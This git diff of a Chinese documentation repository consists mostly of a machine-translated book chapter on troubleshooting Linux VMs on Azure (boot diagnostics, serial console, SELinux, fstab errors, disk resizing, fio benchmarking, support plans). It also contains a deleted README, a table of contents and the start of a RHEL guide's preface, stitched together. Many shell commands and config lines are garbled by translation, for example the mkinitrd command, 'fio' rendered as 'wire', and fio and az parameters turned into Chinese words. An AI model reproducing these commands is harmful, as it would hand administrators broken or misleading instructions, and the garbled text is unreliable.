门户还提供了一个简单的用户界面来远程运行命令和简单的脚本,如*图 6.5* 所示: - -![Run command functionality in the Azure portal](img/B17160_06_05.jpg) - -图 6.5:在 Azure 门户中运行命令功能 - -为了使扩展能够工作,您需要在虚拟机上安装并运行 Azure Linux 代理,因为 Azure 扩展使用它在虚拟机上执行命令。 - -如果远程 SSH 连接仍然不起作用,原因可能更严重:您的虚拟机可能实际上无法正常启动,并且不可能使用脚本工具来修复这个问题。 - -### 启动诊断和串行控制台访问 - -如果您怀疑虚拟机无法正常引导,可以使用 Azure 门户中的引导诊断工具查看引导日志来轻松确认,如图 6.6*所示:* - -![Checking the boot logs using the Boot diagnostics tool in the Azure portal](img/B17160_06_06.jpg) - -图 6.6:引导诊断实用程序 - -系统日志是从虚拟串行终端捕获的,并且是只读的。您可以使用引导日志来查找和诊断问题。 - -如果需要登录系统修复问题,可以使用 Azure Serial 控制台功能,也可以在 Azure 门户的 VM Support +疑难解答部分找到,如图*图 6.7* : - -![Log in to the system using Azure Serial Console functionality](img/B17160_06_07.jpg) - -图 6.7:使用串行控制台访问 - -在这个例子中,我们可以看到 Ubuntu 服务器卡在 GRUB 引导加载程序屏幕上,等待用户的交互。此时,您可以像在任何内部物理或虚拟 Linux 服务器上一样继续修复问题。我们将不详细讨论修复这个特定问题,因为它可能由许多问题引起,从内核升级失败到分区配置错误。相反,让我们看一下典型引导失败原因的概述。 - -### 常见开机问题 - -有时候你的 Linux 虚拟机根本不能在 Azure 上启动。对于从 Azure Linux 映像创建的虚拟机来说,这是一个非常罕见的问题,但是如果您将虚拟机从内部迁移到 Azure,这种问题可能会非常常见。 - -虚拟机无法启动可能有各种原因。微软发布了以下关于 Azure 上 Linux 的说明: - -* 不支持 Hyper-V **虚拟硬盘** ( **VHDX** )格式。请改用固定 VHD。 -* 不支持 VirtualBox 动态分配的磁盘。请改用固定尺寸。 -* 最大 VHD 大小为 1,023 GB。 -* 在系统磁盘上使用**逻辑卷管理器** **(LVM** )可能会导致名称冲突。建议系统磁盘使用标准分区,数据磁盘仅使用 LVM 分区。 -* UDF 文件系统支持是强制性的,所以不要禁用它。它由 Azure Linux 代理使用。 -* 2.6.37 之前的内核版本和 2.6.32-504 之前的红帽内核版本不支持**非均匀内存访问** ( **NUMA** )。使用 **grub.conf** 中的 **numa=off** 参数将其禁用。 -* 不要将系统磁盘用于交换文件。让 Azure Linux 代理在临时资源磁盘上设置交换。 - -从 **Linux 内核虚拟机** ( **KVM** )或 VMware 虚拟化迁移到 Azure 时,在 Azure 上引导 Linux 会出现一些非常常见的问题。默认情况下,Linux 发行版不会在内存磁盘映像中包含 Hyper-V 驱动程序。由于 Azure 在 Hyper-V 虚拟机管理程序上运行, **hv_vmbus** 和 **hv_storvsc** 内核模块是 Linux 在 Azure 上启动所必需的。 - -如果遇到此问题,正确的解决方法是在将虚拟机迁移到 Azure 之前在 Linux 上运行以下命令: - -sudo mkinitrd-preload = HV _ storvsc-preload = HV _ vmbus-v \ - --f initrd-uname-r。img 'uname -r ' - -请注意,直接使用此虚拟机无法在 Azure 上修复此问题。通常,最好修复源图像,并将其再次移动到 Azure。但是,在 Azure 端修复这种情况的方法是将磁盘装载到工作的虚拟机上,并以这种方式应用修复。 - -有时,由于虚拟磁盘的大小,您可能会遇到引导问题,尤其是如果您已经在源系统上手动创建了磁盘,并且将原始磁盘转换为 VHD 磁盘。Azure 上的所有虚拟驱动器必须使用 1 MB 大小对齐。这可以在将图像上传到 Azure 之前修复,例如使用 **qemu-img** 转换图像: - -rawdisk= " mylinuxvm . raw " - -vhddisk="MyLinuxVM.vhd " - -MB=$((1024*1024)) - -size = $(QEMU-img info-f raw--JSON 输出$ $ rawdisk“|” - -gawk 'match($0,/“virtual-size”:([0-9]+),/,val) {print val[1]} ') - -rounded _ size = $(((($ size+$ MB-1)/$ MB)* $ MB)) - -回显“圆角大小= $圆角 _ 大小” - -qemu-img 调整 MyLinuxVM.raw $rounded_size 的大小 - -qemu-img convert -f raw -o 子格式=固定,force_size \ - -vpc mylinuxvm . raw mylinuxvm . vhd - -在您的图像被正确转换后,您可以再次将其上传到 Azure 并启动它。一旦您的服务器正确启动,我们就可以关注可能的运行时问题。 - -## 常见的 Linux 运行时挑战 - -在本节中,我们将演示如何分析和修复一些常见的运行时问题。Linux 上应用最常见的问题之一是与 SELinux 设置不兼容,尤其是当您将应用从一个虚拟机迁移到另一个虚拟机时。 - -此外,磁盘空间不足的问题或其他存储问题(如存储加密和迁移)可能会很麻烦。最后,当您将工作负载从内部转移到 Azure 时,可能会出现一些意想不到的性能问题。让我们从看看 SELinux 在 Azure 中是如何工作的开始。 - -### SELinux - -安全性增强的 Linux(通常称为 SELinux)是 Linux 内核的一个安全模块,它提供了一种机制来支持对操作系统的各种访问控制策略。有一些 SELinux 的替代品,比如 AppArmor,但是它们目前并不常用。SELinux 可以被认为是保护 Linux 安装的标准方式。 - -要检查 Linux 虚拟机上 SELinux 的状态,您可以运行 **sestatus** 命令。它打印出许多变量,如*图 6.8* 所示: - -![Displaying the current status of SELinux on Linux VM by running the sestatus command](img/B17160_06_08.jpg) - -图 6.8:sestatus 命令的输出 - -在本例中,您可以看到 SELinux 状态为**启用**,运行模式为**执行**。*图 6.8* 取自从 Azure Marketplace 安装的 CentOS 8.2.2004 虚拟机。 - -SELinux 适用于所有常见的 Linux 发行版。但是,默认情况下它可能不是**使能**,或者默认情况下它可能被配置为许可模式。SELinux 的三种操作模式是: - -* **执行**:执行 SELinux 安全策略。 -* **许可** : SELinux 打印警告,而不是强制执行策略。 -* **禁用**:未加载 SELinux 策略。 - -最常见的 SELinux 相关问题之一是:*如何禁用 SELinux?*正确答案应该永远是:*你没有*。出于实际原因,推荐的运行模式为**许可**。在强制模式下,来自**独立软件厂商** ( **ISV** )的许多应用很可能会停止工作或出现一些意外的运行时错误。但是,如果您正在运行内部开发的应用,或者确定应用在**强制**模式下与 SELinux 兼容,那么自然推荐使用**强制**模式。 - -通过在**许可**模式下运行 SELinux,您可以确保您的应用将会运行,并且您可以通过审核安全日志来发现可能的安全问题。开发新应用时,建议使用**强制**模式。这样,您可以确保您的应用将在任何生产系统中运行。 - -在这本由*丹·沃什*创作,由*马丁·达菲*:[https://github.com/mairin/selinux-coloring-book](https://github.com/mairin/selinux-coloring-book)插图的令人惊叹的 SELinux 着色书中,你可以了解到更多关于 SELinux 的信息以及不应该禁用它的原因。 - -在 Azure 上,您可以在**强制**或**许可**模式下使用 SELinux,大多数情况下不会出现问题。唯一需要完全关闭 SELinux 的时候,就是你想在 Azure 上开始加密一个 Linux 操作系统磁盘的时候。加密完成后,您可以再次启用 SELinux。 - -如果您让 SELinux 完全**禁用**或先在**许可**模式下运行,然后决定打开**强制**模式,您可能需要修复文件安全标签。最简单的方法是告诉 SELinux 在下次重新启动时重新标记文件系统,然后重新启动服务器,如下所示: - -sudo touch /.自动标签:sudo 重新启动 - -服务器再次启动后,SELinux 将标记整个文件系统,并且文件的安全上下文应该再次更新。 - -#### 注意 - -如果系统没有安装 **selinux-policy** 包,您需要确保 selinux 在系统启动时已初始化。必须运行 dracut 实用程序来设置 **initramfs** 文件系统的 SELinux 感知。 - -不这样做将导致 SELinux 在系统引导期间无法启动。 - -关于 SELinux 相关问题的有用参考可以通过红帽:[https://access . RedHat . com/documentation/Red _ Hat _ enterprise _ Linux/6/html/security-enhanced _ Linux/section-security-enhanced _ Linux-work _ with _ SELinux-changing _ SELinux _ modes](https://access.redhat.com/documentation/red_hat_enterprise_linux/6/html/security-enhanced_linux/sect-security-enhanced_linux-working_with_selinux-changing_selinux_modes)找到。 - -接下来,让我们看看典型的存储问题以及如何解决这些问题。 - -### 存储配置问题 - -在本节中,我们将介绍一些在添加磁盘时可能出错的事情。存储问题很敏感,因为它们会导致无法启动的情况——这些错误主要是由于 **/etc/fstab** 文件中的配置问题。Linux 管理员知道此文件的重要性,纠正此文件的错误配置可以解决与磁盘和存储相关的无法启动的情况。 - -以下是一些常见的场景和相应的日志,您可以在与 **fstab** 相关的串行控制台中看到。如果您在控制台中看到这些日志中的任何一个,您可以很容易地确定根本原因: - -* **A disk mounted using SCSI ID in lieu of UUID** - - 等待设备开发超时-不正确。设备。 - - /数据的相关性失败。 - - 本地文件系统依赖失败。 - -* **An unattached device is missing** - - 正在检查文件系统… - - 来自 util-linux 2.19.1 的 fsck - - 检查所有文件系统。 - - /dev/sdc1:不存在的设备(“no fail”fstab 选项可用于跳过此设备) - -* **Fstab misconfiguration or the disk is no longer attached** - - /var/lib/mysql 的磁盘驱动器尚未准备好或不存在。 - - 继续等待,或按下 S 键跳过安装,或按下 M 键手动恢复 - -* **A serial log entry shows an incorrect UUID** - - [/sbin/fsck . ext 4(1)—/data drive]fsck . ext 4-a UUID = "" - - fsck.ext4:无法解析 UUID=" " - - [失败 - -其他常见原因包括: - -* 系统崩溃 -* 硬件或软件故障 -* 童车司机 -* NFS 写错误 -* 文件系统没有正确关闭 - -这些其他常见原因有时可以通过重新启动或手动修复文件系统来修复。为此,您可以使用本章前面介绍的串行控制台访问,也可以像在任何内部系统中一样,将损坏的虚拟操作系统磁盘连接到另一个虚拟机。 - -Azure 命令行界面提供了一个名为**虚拟机修复**的扩展,可以轻松创建一个修复虚拟机并将损坏的虚拟机磁盘连接到其上。你可以从这里找到更多关于这个扩展的信息:[https://docs . Microsoft . com/CLI/azure/ext/VM-repair/VM/repair](https://docs.microsoft.com/cli/azure/ext/vm-repair/vm/repair)。请注意,此扩展需要 Azure CLI 版本 2.0.67 或更高版本。 - -### 磁盘加密问题 - -在 Linux 上遇到磁盘加密问题并不少见。这些问题也可能出现在 Azure 上。以下是您在使用定制虚拟机映像时可能面临的一些典型问题: - -* 文件系统或分区与定制的虚拟机映像不匹配。 -* 某些第三方软件,如 SAP、MongoDB、Apache Cassandra 和 Docker,如果在加密磁盘之前安装,可能不受支持或无法正常工作。安装前请仔细检查安装说明! -* 当磁盘处于加密初始化过程中时,Azure 资源管理器启动的某些脚本可能无法正常工作。序列化加密和磁盘加密将有助于解决这些问题。 -* 在开始加密磁盘之前,需要禁用 SELinux,否则文件系统卸载可能会失败。以后记得再启用! -* 使用 LVM 的系统磁盘无法加密。系统磁盘始终使用普通分区,数据磁盘仅使用 LVM 分区。 -* Disk encryption consumes lots of memory. You should have more than 7 GB RAM if you enable encryption. - - #### 注意 - - Linux 系统磁盘加密过程会在运行磁盘加密过程之前尝试卸载系统驱动器。如果无法卸载驱动器,很可能会出现… 后**卸载失败的错误信息。** - -### 调整磁盘大小 - -万一您的虚拟机系统或数据磁盘上的存储空间不足,Azure 允许您非常轻松地上下扩展虚拟机,但是 Linux 操作系统中有一些任务需要完成,以确保虚拟机在更改后仍然存在。 - -#### 注意 - -为了测试这些命令,我们建议您在 Azure 上创建一个新的 Linux 虚拟机。在下面的截图中,我们使用了基于 CentOS 7.9 的虚拟机映像。 - -首先,我们需要找出当前虚拟机磁盘的大小。 **az** 命令是查询虚拟机各个方面的非常强大的工具: - -az vm show -g vm1_group -n vm3 \ - --查询“[storageprofile . osdisk . disksizegb,\ - -storageprofile . osdisk . name,硬件文件. vmSize " - -该命令列出了操作系统磁盘大小、唯一名称和虚拟机大小参数,如图 6.9*所示:* - - *![Output of the az vm show command listing the OS disk size, unique name, and the VM size parameters](img/B17160_06_09.jpg) - -图 6.9:az 虚拟机显示命令的输出 - -如果出现错误,很可能是虚拟机没有运行。启动它,然后重试。 - -在我们的示例中,磁盘大小为 30 GB,虚拟机为 **Standard_A1** 类型。磁盘名称为**vm3 _ OsDisk _ 1 _ b 728 EFD 7 b 94 e 41d 6 beef 4a 1 E8 a 35 f 15**。 - -要修改磁盘,需要取消分配虚拟机—仅仅停止是不够的。虚拟机解除分配后,我们可以继续增加系统磁盘大小。 - -#### 注意 - -目前,您不能在 Azure 中收缩磁盘。增加磁盘大小时,只添加您需要的空间。 - -要将新大小设置为 50 GB,请执行以下操作: - -az 磁盘更新-g vm1_group \ - --n vm3 _ OsDisk _ 1 _ b 728 EFD 7 b 94 e 41d 6 beef 4a 1 e 8 a 35 f 15-大小-gb 50 - -这样修改成功后应该会输出磁盘的新参数,如图*图 6.10* : - -![The new parameters for the disk after successful modification](img/B17160_06_10.jpg) - -图 6.10:成功调整磁盘大小 - -如果您想验证更改是否已实施,您可以如下所示显示实际磁盘大小,即使虚拟机未运行也是如此: - -az 磁盘显示-g vm1_group \ - --n VM 3 _ osdba _ 1 _ b728 EFD 7b94 和 41d6 beefe 4a 1 和 8a35f15 \ - ---查询 "diskSizeGb" - -这将以千兆字节为单位打印出尺寸,在这种情况下应显示 **50** 。现在我们已经成功地在存储系统端调整了磁盘的大小,但此时 Linux 认为磁盘大小为 **30** 千兆字节。 - -接下来,您将需要启动虚拟机并使用 SSH 登录到 Linux。现在,在 Linux 终端中,您可以继续检查是否需要像在任何其他 Linux 服务器上一样手动增加卷大小和文件系统大小。 - -由于有许多不同的方法来完成这些任务,我们不会一一解决。Azure 没有对如何在 Linux 操作系统中管理磁盘设置任何限制。 - -在我们的测试系统 CentOS 7.9 中, **sda2** 设备上的虚拟磁盘大小变化似乎是在引导时被操作系统自动识别的,如*图 6.11* 所示。 - -您可以运行 **lsblk** 命令来查看虚拟机上的块设备大小: - -![The list of the block device sizes on the virtual machine](img/B17160_06_11.jpg) - -图 6.11:阻止设备列表 - -要查看文件系统是否也注意到块设备大小的增加,您可以运行 **df -hT** 命令。我们的系统演示了 **sda2** 磁盘上的 XFS 文件系统是自动调整大小的: - -![The list of filesystems](img/B17160_06_12.jpg) - -图 6.12:文件系统列表 - -多年来,Linux 管理员不得不在物理或虚拟存储大小改变后手动调整块设备和文件系统的大小。如今,一些 Linux 发行版可以在引导时甚至运行时自动为您调整系统磁盘的大小。数据磁盘仍然需要您手动增加分区或卷的大小以及文件系统的大小。 - -对于数据磁盘,过程非常相似。最大的区别在于,您可以在虚拟机运行时执行此操作。为此,在修改虚拟磁盘大小之前,您实际上需要卸载磁盘并将其从虚拟机中分离出来。考虑在手动修改分区、卷或文件系统之前进行备份—如果您在此过程中犯了一个小错误,就有数据丢失的风险。 - -### 性能问题和分析 - -Linux 中的性能计数器有助于深入了解硬件组件、操作系统和应用的性能。借助 Azure Monitor,您可以频繁地从日志分析代理收集性能计数器,以进行**近实时** ( **NRT** )分析。您还可以获得用于长期分析和报告的汇总性能数据。 - -要设置性能计数器,您可以使用 Azure 日志分析工作区用户界面或命令行。 - -由于我们可以从一个 Linux 虚拟机中收集大量的指标,所以我们现在不做详细介绍。但是,值得一提的是,典型的数据源有: - -* **系统日志** -* 收集 -* 性能计数器 -* 自定义日志 - -您可以在这里找到日志分析代理支持的数据收集的详细信息:[https://docs . Microsoft . com/azure/azure-monitor/agent/agent-data-sources](https://docs.microsoft.com/azure/azure-monitor/agents/agent-data-sources)。 - -本文档将为您提供一套很好的工具,您可以使用它们来分析虚拟机的性能。 - -在内部环境中,通常使用 **dd** 等工具来查看存储的运行情况。然而,在 Azure 中,您不应该依赖这个命令的结果。相反,您应该使用一个名为 **fio** 的工具,它可以从大多数 Linux 发行版存储库中获得。它在分析实际磁盘性能时给出了可靠的结果,以**每秒输入/输出操作数** ( **IOPS** )来衡量。 - -要使用 fio,首先需要创建一个名为 **fiowrite.ini** 的新文件,其内容如下: - -[全球] - -尺寸= 30 克 - -直接=1 - -碘化物=256 - -ioengine=libaio 黎巴嫩 - -bs=4k - -numjobs=1 - -[writer1] - -rw =随机写入 - -目录=/ - -最后一个参数告诉我们要使用哪个目录或挂载点进行测试。在本例中,我们使用的是安装在根目录下的系统磁盘。 - -要开始测试,请运行以下命令,该命令将启动运行 30 秒的测试: - -sudo wire--运行时 30 fiowrite.ini - -您应该会得到类似于*图 6.13* 中的输出: - -![Testing the disk performance output by executing sudo fio --runtime 30 fiowrite.ini command on Azure CLI](img/B17160_06_13.jpg) - -图 6.13:磁盘性能输出 - -我们用黄色突出显示了 IOPS 线。在这种情况下,平均 IOPS 数为 741.21。我们使用了标准固态硬盘和带有 1 个 vCPU 和 1.72 千兆字节内存的**标准 A1** 虚拟机类型。系统磁盘为 30 GB,标称最大 IOPS 为 500。 - -此服务器上的存储加密使用带有平台管理密钥的服务器端加密。 - -有多种指南可用于优化 Azure 用户的 Linux 存储性能。一个非常好的(虽然有点老)指南是这篇博文:[https://docs . Microsoft . com/archive/blogs/igorpag/azure-storage-secrets-and-Linux-io-optimization](https://docs.microsoft.com/archive/blogs/igorpag/azure-storage-secrets-and-linux-io-optimizations)。 - -这篇博文涵盖了许多关于性能调优的细节,即使您目前没有性能问题,也值得一读。优化性能总是值得的。 - -接下来,让我们看看 Azure 提供了哪些工具来分析和调试虚拟机问题。 - -## Azure 诊断工具–总结 - -在 Azure 门户中,在虚拟机的“诊断和解决问题”屏幕上,您可以找到所有官方指南和工具,以了解有关排查各种虚拟机相关问题的更多信息。*图 6.14* 显示了记录的常见场景的部分列表: - -![A partial list of common scenarios documented in the Diagnose and solve problems window](img/B17160_06_14.jpg) - -图 6.14:常见场景列表 - -这些指南应该为您提供合适的工具来分析和修复您将 Linux 虚拟机迁移到 Azure 后可能遇到的大多数问题情况。这些也适用于直接在 Azure 上创建的所有虚拟机。 - -我们不要忘记,如果您在使用 Azure 时遇到问题,也可以通过各种方式向微软寻求帮助。 - -## 开启支持请求 - -就像 Azure 的任何其他问题一样,您也可以在 Azure 上打开对 Linux 的支持请求。只有在一定程度上,尝试自己分析或解决问题才有意义。最好的部分是红帽和 SUSE 都提供集成的同地支持。这有利于客户,因为他们不必打开多个案例—打开一个有支持的案例就足够了。事实上,红帽和 SUSE 支持工程师与微软支持团队坐在同一个办公室,这确保了更快的解决方案。 - -Azure 门户上的新增支持请求功能(如*图 6.15* 所示)易于使用,可以指导您打开包含所有相关信息的请求。这有助于支持人员从一开始就清楚地了解问题。 - -您可以在左侧菜单中找到您遇到问题的虚拟机的请求工具,如下所示: - -![Adding various details in the Basics tab of the New support request window](img/B17160_06_15.jpg) - -图 6.15:新的支持请求 - -在这个例子中,我们的问题被描述为我不能 SSH 到这个虚拟机,并且新的支持请求工具能够提出一些可能的问题类型。对于“问题类型”选项,我们选择了“无法连接到我的虚拟机”,而“我的配置更改”影响了“问题子类型”选项的连接。 - -在“解决方案”选项卡中,我们将找到问题的可能解决方案: - -![The list of possible solutions in the Solutions tab](img/B17160_06_16.jpg) - -图 6.16:可能的解决方案列表 - -在许多情况下,这些自动建议可以指导您解决问题。如您在此示例中所见,虚拟机似乎没有运行,这可能是因为无法访问 Azure Linux 代理。系统建议您使用前面提到的串行控制台方法连接到服务器。 - -有时,您可能需要微软技术支持的帮助,或者您可能在 Azure 或支持的 Linux 发行版中发现了实际的错误。在这种情况下,您将可以选择打开支持票证或向 Azure 社区寻求帮助。 - -微软技术支持的可用性取决于您与微软的合同: - -![Viewing plans and support options](img/B17160_06_17.jpg) - -图 6.17:支持选项 - -在我们的示例中,我们使用了不包括技术支持的订阅。点击【查看计划】(如图*)图 6.17* ,可以看到各种技术支持计划: - -![In the Azure tab, you can see various Microsoft Technical Support plans](img/B17160_06_18.jpg) - -图 6.18:微软技术支持计划 - -哪个计划最适合你取决于很多因素。如果您不确定如何选择计划,微软销售代表可以为您提供进一步的指导。 - -此外,Linux 供应商通过 Azure 市场提供支持。如*图 6.19* 所示,通过点击市场选项卡,您可以看到对该特定虚拟机有效的所有可用的 Linux 支持计划: - -![In the Marketplace tab, you can see all available Linux support plans that are valid for this specific VM](img/B17160_06_19.jpg) - -图 6.19:市场支持计划 - -在这个例子中,安装在这个虚拟机上的 Linux 发行版是 Ubuntu。出版 Ubuntu 的公司 Canonical 提供了名为 **Ubuntu 优势基础设施支持**的支持计划,如图*图 6.19* 所示。如您在本案例中所见,我们没有购买该计划。 - -所有商业 Linux 供应商都有自己的支持包可供购买,或者已经捆绑在企业订阅中提供。 - -## 总结 - -完成本章后,您应该能够在 Azure 上调试和修复一些最常见的 Linux 问题。在本章中,我们讨论了远程连接问题,以及如果您的虚拟机不允许您登录,如何解决这些问题。我们还讨论了典型的引导问题,并发现了有助于解决这些情况的 Azure 工具。与 SELinux 和存储相关的问题是非常常见的运行时问题,这也在本章中进行了介绍。我们还讨论了基于 Azure 性能分析的 Linux。最后,我们解释了如何从微软技术支持和 Azure 市场合作伙伴那里找到对 Azure 上 Linux 的支持。 - -这本书采用了一种整体的方法将 Linux 工作负载从内部基础架构迁移到 Azure。从规划、评估、服务依赖关系构建、复制和测试迁移,到从内部到 Azure 的完整转换,我们为您开发的实践实验室应该为您的第一个真正的迁移项目提供了一个快速的开始。我们分享了将 Linux 工作负载迁移到 Azure 时需要整合的一些最佳实践和要点。考虑这些建议,并在您的迁移项目中采用它们。这将加速它们,并有助于迁移的成功,同时节省大量时间。 - -在这一点上,我们要祝贺你学习了许多新的有用的技能。我们花了相当长的时间来研究 Azure、Linux 和许多其他开源技术,其中许多已经在本书的页面上讨论过了。我们希望你和我们一样喜欢读这本书。某些你不能通过阅读书籍或文件,甚至通过参加官方培训课程来学习的东西。那些东西只有自己去尝试去做才能学会。 - -为了进一步阅读,我们推荐您阅读关于 Azure 的微软**云采用框架**(**CAF**):[https://docs.microsoft.com/azure/cloud-adoption-framework/](https://docs.microsoft.com/azure/cloud-adoption-framework/)。它是微软提供的最佳实践、工具、文档和其他有用的经验证的指南的集合,旨在加速您的云采用之旅。 - -现在轮到你做好事了——把你学到的东西教给别人。从本书中获取信息,在您的 Linux 到 Azure 的迁移项目中取得成功,不要忘记与他人分享您的知识! - -## Azure 中 Linux 的新视野 - -在这本书里,我们从微软首席执行官萨提亚·纳德拉宣布的口号“微软♡ Linux”开始。这确实是微软历史上的一个里程碑。在早期,微软 Azure 被称为 Windows Azure,这给人的印象是 Azure 是为 Windows 工作负载设计的,并没有针对运行 Linux 工作负载进行优化。在塞特亚·纳德拉的领导下,微软开始拥抱 Linux,并为其他开源项目做出贡献,2016 年,他们加入了 Linux 基金会。 - -这一变化不仅仅是关于 Linux。微软还发布了 Edge 浏览器、Visual Studio Code 和面向 Linux 的微软团队,这些行动表明他们已经准备好欢迎并完全接受 Linux。2018 年,微软开发了自己的 Linux 风味,名为 **Azure Sphere** ,用于 IoT 设备。随着最近 Windows 10 的更新,微软发布了完整的 Linux 内核,这为从事 Linux 开发和跨平台工作的开发人员打开了大门。很快,Linux 的使用量增加了,并且在微软 Azure 中超过了 Windows 的使用量。Linux 用户中存在的反微软意识形态早已不复存在。看了所有的进展,很明显微软是真的爱 Linux。微软对社区的所有开源贡献可以在[https://opensource.microsoft.com/](https://opensource.microsoft.com/)找到。 - -许多组织现在使用 Linux 来运行各种工作负载,从工作站到 SAP 集群都有,Azure 上的 Linux 提供的功能和支持欢迎他们享受云带来的好处。管理员可以管理他们的 Linux 工作负载,就像他们通常管理内部部署的 Linux 计算机一样。Azure 现在提供了 Azure Migrate、Azure 站点恢复和 Azure 数据库迁移服务等工具,这些工具加速了工作负载向 Azure 的迁移。 - -最初认为云计算昂贵的组织现在已经开始探索 Azure 云的优势、节约和功能。由于这些组织拥有热门供应商(如 RedHat 和 SUSE)的许可证订阅,因此他们也很容易在 Azure 中重用相同的许可证订阅,而无需在云中花费额外的许可费用。从成本的角度来看,扩展和高可用性远远优于组织在其内部基础架构中所能实现的。此外,值得一提的是 Azure 为运行 Linux 工作负载提供的安全性和治理特性。如果出于法规遵从性原因,您的工作负载在 Azure 之外的内部托管,那么支持 Azure Arc 的服务器为您提供了从 Azure 门户本地管理它们的能力。 - -就在我们说话的时候,微软正在开发新的 Azure 功能,将更新推送到预览版,并将更新推广到通用版。如果您查看 Azure Updates 页面([https://azure.microsoft.com/updates/?query=Linux](https://azure.microsoft.com/updates/?query=Linux)),您将能够看到所有新的与 Linux 相关的更新来到 Azure。更新是按时间顺序排列的,看看进来的更新数量,你会意识到 Linux 在微软 Azure 上的主导地位。现在是 2021 年,今天,即使有些人听起来有点荒谬,但事实是微软真的是一个开源组织。* \ No newline at end of file diff --git a/docs/migrate-linux-ms-azure/README.md b/docs/migrate-linux-ms-azure/README.md deleted file mode 100644 index fd3c0f2d..00000000 --- a/docs/migrate-linux-ms-azure/README.md +++ /dev/null @@ -1,67 +0,0 @@ -# 将 Linux 迁移到微软 Azure - -> 原文:[Migrating Linux to Microsoft Azure](https://libgen.rs/book/index.php?md5=DFC4E6F489A560394D390945DB597424) -> -> 协议:[CC BY-NC-SA 4.0](http://creativecommons.org/licenses/by-nc-sa/4.0/) -> -> 阶段:机翻(1) -> -> 自豪地采用[谷歌翻译](https://translate.google.cn/) -> -> 这世界上有一种鸟是没有脚的,它只能够一直的飞呀飞呀,飞累了就在风里面睡觉,这种鸟一辈子只能下地一次,那一次就是它死亡的时候。——《阿飞正传》 - -* [在线阅读](https://linux.apachecn.org) -* [在线阅读(Gitee)](https://apachecn.gitee.io/apachecn-linux-zh/) -* [ApacheCN 学习资源](http://docs.apachecn.org/) - -## 目录 - -+ [笨办法学 Linux 中文版](docs/llthw-zh/SUMMARY.md) - -## 贡献指南 - -本项目需要校对,欢迎大家提交 Pull Request。 - -> 请您勇敢地去翻译和改进翻译。虽然我们追求卓越,但我们并不要求您做到十全十美,因此请不要担心因为翻译上犯错——在大部分情况下,我们的服务器已经记录所有的翻译,因此您不必担心会因为您的失误遭到无法挽回的破坏。(改编自维基百科) - -## 联系方式 - -### 负责人 - -* [飞龙](https://github.com/wizardforcel): 562826179 - -### 其他 - -* 在我们的 [apachecn/apachecn-linux-zh](https://github.com/apachecn/apachecn-linux-zh) github 上提 issue. -* 发邮件到 Email: `apachecn@163.com`. -* 在我们的 [组织学习交流群](http://www.apachecn.org/organization/348.html) 中联系群主/管理员即可. - -## 下载 - -### Docker - -``` -docker pull apachecn0/apachecn-linux-zh -docker run -tid -p :80 apachecn0/apachecn-linux-zh -# 访问 http://localhost:{port} 查看文档 -``` - -### PYPI - -``` -pip install apachecn-linux-zh -apachecn-linux-zh -# 访问 http://localhost:{port} 查看文档 -``` - -### NPM - -``` -npm install -g apachecn-linux-zh -apachecn-linux-zh -# 访问 http://localhost:{port} 查看文档 -``` - -## 赞助我们 - -![](http://data.apachecn.org/img/about/donate.jpg) diff --git a/docs/migrate-linux-ms-azure/SUMMARY.md b/docs/migrate-linux-ms-azure/SUMMARY.md deleted file mode 100644 index 729da287..00000000 --- a/docs/migrate-linux-ms-azure/SUMMARY.md +++ /dev/null @@ -1,8 +0,0 @@ -+ [将 Linux 迁移到微软 Azure](README.md) -+ [零、前言](0.md) -+ [一、Linux:云的历史与未来](1.md) -+ [二、了解 Linux 发行版](2.md) -+ [三、评估和迁移规划](3.md) -+ [三、执行向 Azure 的迁移](4.md) -+ [五、在 Azure 上操作 Linux](5.md) -+ [六、故障排除和问题解决](6.md) diff --git a/docs/rhel-troubleshoot-guide/00.md b/docs/rhel-troubleshoot-guide/00.md deleted file mode 100644 index 11721939..00000000 --- a/docs/rhel-troubleshoot-guide/00.md +++ /dev/null @@ -1,109 +0,0 @@ -# 零、前言 - -Red Hat Enterprise Linux 是一个广泛流行的 Linux 发行版,从云计算到企业大型机都使用它。 如果包括诸如 CentOS 这样的下游发行版,那么 Red Hat Enterprise Linux 发行版的采用将更加广泛。 - -与大多数事情一样,总是有人负责解决所有这些运行 Red Hat Enterprise Linux 的各种系统的问题。 *Red Hat Enterprise Linux 故障诊断指南*是为 Linux 系统提供基本的到高级的故障诊断实践和命令,这些故障诊断技术专门针对运行 Red Hat Enterprise Linux 的系统。 - -本书旨在为您提供步骤和所需的知识,以补救各种各样的情况。 本书中的例子使用真实世界的问题与真实世界的决议。 - -虽然本书中的示例是情境性的,但本书也可以作为 linux 相关主题和命令的参考。 它们为读者提供了参考故障排除步骤和解决复杂问题的特定命令的能力。 - -# 这本书的内容 - -第 1 章、*故障排除最佳实践*从较高的层次介绍了故障排除过程。 通过将故障排除过程与科学方法等同起来,本书将解释如何分解问题以确定根本原因,无论问题多么复杂。 - -[第二章](02.html#I3QM2-8ae10833f0c4428b9e1482c7fee089b4 "Chapter 2. Troubleshooting Commands and Sources of Useful Information")、*故障诊断命令和有用信息来源*为读者提供了有用信息的常见位置的简单介绍。 它还提供了一些基本的 Linux 命令的参考,这些命令可用于对多种类型的问题进行故障排除。 - -[第三章](03.html#KVCC1-8ae10833f0c4428b9e1482c7fee089b4 "Chapter 3. Troubleshooting a Web Application"),*Web 应用故障排除*,使用第一章学到的流程和第二章学到的命令来解决一个复杂的问题。 本章中概述的问题是“通过实例”,意思是本章的流程旨在引导您从头到尾地完成整个故障排除过程。 - -第 4 章,*故障处理性能问题*,处理性能问题和一些最复杂的故障。 通常情况下,复杂的情况是由用户的感知和预期的性能水平造成的。 在本章中,第 2 章中讨论的工具和信息将再次用于解决实际的性能问题。 - -第五章、*网络故障排除*讨论了网络是任何现代系统的一个关键组成部分。 本章将介绍配置和诊断 Linux 网络所需的核心命令。 - -[第 6 章](06.html#1394Q1-8ae10833f0c4428b9e1482c7fee089b4 "Chapter 6. Diagnosing and Correcting Firewall Issues"),*诊断和纠正防火墙问题*,涵盖了 Linux 防火墙的复杂性,作为第五章的延续。 本章将介绍并重点介绍解决 Linux 软件防火墙故障所需的命令和技术。 - -第七章,*文件系统错误和恢复*告诉您,是否能够恢复文件系统可能意味着丢失和保留数据之间的差别。 本章将介绍一些核心的 Linux 文件系统概念,并演示如何恢复只读文件系统。 - -[第八章](08.html#1GKCM1-8ae10833f0c4428b9e1482c7fee089b4 "Chapter 8. Hardware Troubleshooting"),*硬件故障处理*,开始介绍硬件故障的处理过程。 本章将带你通过一个失败的硬盘驱动器的恢复。 - -第 9 章、*使用系统工具解决应用问题*探讨了系统管理员的角色不仅解决操作系统问题,而且解决应用问题的频率。 